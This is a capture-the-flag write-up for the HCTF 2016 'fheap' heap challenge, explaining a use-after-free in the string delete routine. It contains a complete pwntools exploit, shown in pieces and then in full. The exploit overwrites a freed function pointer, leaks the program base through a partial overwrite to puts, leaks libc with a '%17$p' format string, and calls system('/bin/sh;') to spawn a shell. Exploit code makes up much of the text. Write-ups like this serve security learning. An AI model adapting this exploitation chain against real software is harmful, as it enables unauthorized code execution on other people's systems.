PWN_2016_hctf_fheap
After a few months, updating again (laughing emoji).
I revisited the content related to heap
a few days ago, as I had forgotten everything I had learned months ago.
This time, I found a challenge on ctf-wiki
.
I compiled it myself, so the addresses will be different from its exploit.
The challenge implements create
and delete
functionalities.
In the createStr()
function, it handles strings of different sizes differently.
When nbytesa
(which is strlen(str)
) > 0xf
, it will malloc
another address to store the str
separately, and then store this address in ptr
; otherwise, it will directly store in ptr
.
In the deleteStr()
function, it can be observed that it only clears *(&Strings + 4 * Int)
and does not clear *(&Strings + 2 * Int + 1)
, which is the data of ptr
. This provides us with the possibility of using Double Free
and UAF
, and the check is based on ptr
.
Approach
The approach is relatively clear: allocate two strings smaller than 0xf
, free
them, so both chunks are put in the fastbin
. Then allocate a 0x20
size string again, ptr
will retrieve one chunk from the fastbin
(let's call it 0
), and the string will retrieve the other one (let's call it 1
).
At this point, we can overwrite ptr + 3
in 1
, which is the original location of the freeShort
function. If we then delete(1)
at this moment, it will execute our malicious address.
Exploit
from typing import Literal, Optional, AnyStr
from pwn import *
context.log_level = 'DEBUG'
context.arch = 'amd64'
context.os = 'linux'
sh = process(['./pwn'])
def menu(index: Literal[1, 2, 3]):
sh.recvuntil(b"3.quit")
if index == 1:
sh.sendline(b"create string")
return
if index == 2:
sh.sendline(b"delete string")
return
if index == 3:
sh.sendline(b"quit string")
def create(length_: int, content: AnyStr):
menu(1)
sh.sendlineafter(b"Pls give string size:", str(length_).encode())
content = content if isinstance(content, bytes) else str(content).encode()
content = content.ljust(length_, b'\x00')
sh.sendlineafter(b"str:", content)
def delete(index: int, extra: Optional[AnyStr] = b''):
menu(2)
sh.sendlineafter(b"id:", str(index).encode())
if isinstance(extra, str):
extra = extra.encode()
sh.sendlineafter(b"Are you sure?:", b"yes" + extra)
def quit_():
menu(3)
def gdb_(time_: Optional[int] = None, arg: Optional[str] = None):
gdb.attach(sh, arg)
pause(time_)
First, set up the basic menu functions.
Following our approach, let's try to overwrite the following:
create(4, b'aa') # 0
create(4, b'aa') # 1
delete(1)
delete(0)
gdb_(1)
create(0x20, b'a'*0x10 + b'b'*0x08 + p64(0xdeadbeef))
As seen, our freeShort
function has been successfully overwritten. Now, when executing delete(1)
, it will execute the function at 0x00005571deadbeef
and use ptr
itself as the parameter.
However, it's important to note that due to almost all protections being enabled, we currently cannot leak libc_base
.
By observing in IDA
, it can be noticed that right after the two free
calls, there is a call _puts
. Considering the characteristic of ASLR
not randomizing the lower 12 bits, by directly changing the last two bytes to \x7c
, we can make the free
operation execute puts(ptr)
. Based on the information in the image, the result of puts
should be 'a'*0x10+'b'*0x10+addr_of_call__puts
, then subtract 0x147C
to determine the base address of the program.
create(4, b'aa') # 0
create(4, b'aa') # 1
delete(1)
delete(0)
create(0x20, b'a'*0x10 + b'b'*0x08 + b'\x7C' + b'\x00')
gdb_(1, 'b deleteStr')
delete(1) # -> call _puts
The puts(ptr)
is successfully executed, and the program's base address is calculated.
How do we leak libc_base
? At this point, since we can execute at any address and the first parameter is controllable, we can use a format string vulnerability to output the address of a specific function and then find the libc_base
.
I chose to use printf
at 0x150E
. Note that I set eax
to zero before executing printf
to prevent a test al, al
instruction at printf+7
from not jumping if al
is not zero, which would lead to an alignment issue with movaps
at printf+34
. The alignment cannot be fully controlled by us.
One might try to realign the memory and then use
DynELF
to achieve alignment, but I saw in their write-up that they didn't succeed in reproducing it. Repeatedcreate
did not realign the memory.
According to the stack layout, we can identify 0x7ffe3a3d1758
as the position of printf+153
. We can use fmtarg 0x7ffe3a3d1758
to calculate the offset (or calculate with 6+12-1
otherwise).
pwndbg> fmtarg 0x7ffe3a3d1758
The index of format argument : 18 ("\%17$p")
This way, we determine the address of printf+153
.
Next steps involve using the libc-database
to determine the libc
version and calculate libc_base
, system_addr
, and craft /bin/sh;
.
It's worth noting that
/bin/sh;
is constructed instead of/bin/sh\x00
assystem()
may execute more than just/bin/sh
preventing truncation.
Full exploit:
from typing import Literal, Optional, AnyStr
from pwn import *
context.log_level = 'DEBUG'
context.arch = 'amd64'
context.os = 'linux'
sh = process(['./pwn'])
def menu(index: Literal[1, 2, 3]):
sh.recvuntil(b"3.quit")
if index == 1:
sh.sendline(b"create string")
return
if index == 2:
sh.sendline(b"delete string")
return
if index == 3:
sh.sendline(b"quit string")
def create(length_: int, content: AnyStr):
menu(1)
sh.sendlineafter(b"Pls give string size:", str(length_).encode())
content = content if isinstance(content, bytes) else str(content).encode()
content = content.ljust(length_, b'\x00')
sh.sendlineafter(b"str:", content)
def delete(index: int, extra: Optional[AnyStr] = b''):
menu(2)
sh.sendlineafter(b"id:", str(index).encode())
if isinstance(extra, str):
extra = extra.encode()
sh.sendlineafter(b"Are you sure?:", b"yes" + extra)
def quit_():
menu(3)
def gdb_(time_: Optional[int] = None, arg: Optional[str] = None):
gdb.attach(sh, arg)
pause(time_)
create(4, b'aa') # 0
create(4, b'aa') # 1
delete(1)
delete(0)
create(0x20, b'a'*0x10 + b'b'*0x08 + b'\x7C' + b'\x00')
delete(1) # -> call _puts
sh.recvuntil(b"b"*0x08)
proc_base = u64(sh.recvline()[:-1].ljust(8, b'\x00')) - 0x147C
print(hex(proc_base))
printf = proc_base + 0x150E
delete(0)
create(0x20, b'Nova%17$pNoir' + b'b'*(0x18-len(b'Nova%17$pNoir')) + p64(printf))
delete(1)
sh.recvuntil(b"Nova")
printf_addr = sh.recvuntil(b"Noir", drop=True)
printf_addr = int(printf_addr, 16) - 153
libc_base = printf_addr - 0x55810
system_addr = libc_base + 0x453a0
print(">>>", hex(printf_addr))
sh.sendline(b"")
sh.sendline(b"")
delete(0)
create(0x20, b'/bin/sh;' + b'b'*(0x18-len(b'/bin/sh;')) + p64(system_addr))
delete(1)
sh.interactive()
Summary
This was a more comprehensive challenge involving UAF
, which took around six to seven hours. I went through the DynELF
documentation, spent a lot of time on movaps
, but in the end, I solved it using a more conventional approach. Finally, we got it, cheers for that!